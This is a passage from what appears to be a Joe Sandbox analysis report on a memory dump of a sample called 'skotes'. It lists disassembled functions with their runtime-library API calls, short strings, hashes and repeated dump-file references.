d+e, xrefs: 00607A94, 00607AA2, 00607A9A

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situMtx_destroy_in_situ
String ID: d+e
API String ID: 1432671424-4214739536
Opcode ID: a029f77e9808991ab55a44310397850e12aee3678c08a0e290509425163630a7
Instruction ID: 5d1a5b89062e6a9866a156d07c355a4a9a257a28ad3e8004a3c82708d8d5a3e8
Opcode Fuzzy Hash: a029f77e9808991ab55a44310397850e12aee3678c08a0e290509425163630a7
Instruction Fuzzy Hash: C031F6B1A447049FD728DFA8D841A5BB7E9EF18310F100A2EE945C32C1E771FA5487A5

Function 0062F1BF Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 0062F232
__freea.LIBCMT ref: 0062F298

Part of subcall function 0062B04B: RtlAllocateHeap.NTDLL(00000000,00606CB7,?,?,0060D3FC,00606CB7,?,00607A8B,8B18EC84,051E0A69), ref: 0062B07E

Strings

Zb,mb, xrefs: 0062F1D2

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap__alloca_probe_16__freea
String ID: Zb,mb
API String ID: 809856575-2221940238
Opcode ID: d39d49e2088349aa3c3a26c2c73963d0c9d1cded0e4467659040db98a5558427
Instruction ID: 9bcf73e0fd141dafd8e1d0dd31d277a091bc71ea49f209af48853c17c3d2cbbf
Opcode Fuzzy Hash: d39d49e2088349aa3c3a26c2c73963d0c9d1cded0e4467659040db98a5558427
Instruction Fuzzy Hash: EC31B271901A2AEBDB219FA4EC41EEF7BBAEF45710F054138F914A7251DB308E51CBA4

Function 00621704 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 00621764
std::invalid_argument::invalid_argument.LIBCONCRT ref: 006217AF

Strings

pContext, xrefs: 006217A7

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
Opcode ID: c24fd73ce95f371481a2a0a6caa808acfb4f2be3eeaf06a8d1f6f7d4a4dea070
Instruction ID: 342f4eb61742abd8f4883abda6a682aa70e850acf01cc3158afcbab7fc6948a0
Opcode Fuzzy Hash: c24fd73ce95f371481a2a0a6caa808acfb4f2be3eeaf06a8d1f6f7d4a4dea070
Instruction Fuzzy Hash: E8113639A046309BCB45AF18E4845AD73A7AFE6360B054069EC029F381DB74ED01CFD0

Function 00610C5C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::_NonReentrantLock::_Acquire.LIBCONCRT ref: 00610CD7
Concurrency::details::ResourceManager::ResourceManager.LIBCONCRT ref: 00610D2A

Strings

p[e, xrefs: 00610CCF

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Resource$AcquireConcurrency::details::Concurrency::details::_Lock::_ManagerManager::Reentrant
String ID: p[e
API String ID: 3303180142-3475480586
Opcode ID: 91432f0089ffbd30c162d2215512bafdb0bef6f4fa16a1f3c96782c5bffc08c8
Instruction ID: 8441cd8ad080701e0717aa7b276c17941b21372f0dc1d2db0e407d7f95af720a
Opcode Fuzzy Hash: 91432f0089ffbd30c162d2215512bafdb0bef6f4fa16a1f3c96782c5bffc08c8
Instruction Fuzzy Hash: 2E01D230E042049AEF54EBF866253DE66A26F08300F68005EE405EB3C2CEB08EC08759

Function 0060CAD4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

CreateSemaphoreExW.KERNEL32(?,006165E3,00000000,00000000,7FFFFFFF,00000000,00000000,001F0003,00000000), ref: 0060CAFC
CreateSemaphoreW.KERNEL32(?,006165E3,00000000,00000000,7FFFFFFF,00000000,00000000,001F0003,00000000), ref: 0060CB1E

Strings

ea, xrefs: 0060CB12, 0060CAF0

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateSemaphore
String ID: ea
API String ID: 1078844751-3322829488
Opcode ID: aed8407f264d420cf6c309d84d8d079932d08880dc42b26fbabfa594b7dd55ad
Instruction ID: a4badf93ff5ffab0d032263ec57ad13b93c88df04afc68f82bfb85dc00cb2156
Opcode Fuzzy Hash: aed8407f264d420cf6c309d84d8d079932d08880dc42b26fbabfa594b7dd55ad
Instruction Fuzzy Hash: 0FF0343A541228ABCF269F80EC188AF7F27EF08761B048110FE0966270C7329C21EFD0

Function 0061B92C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28threadCOMMON

Download Yara Rule

APIs

Concurrency::details::FreeThreadProxy::ReturnIdleProxy.LIBCONCRT ref: 0061B94E
std::invalid_argument::invalid_argument.LIBCONCRT ref: 0061B961

Strings

pContext, xrefs: 0061B959

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
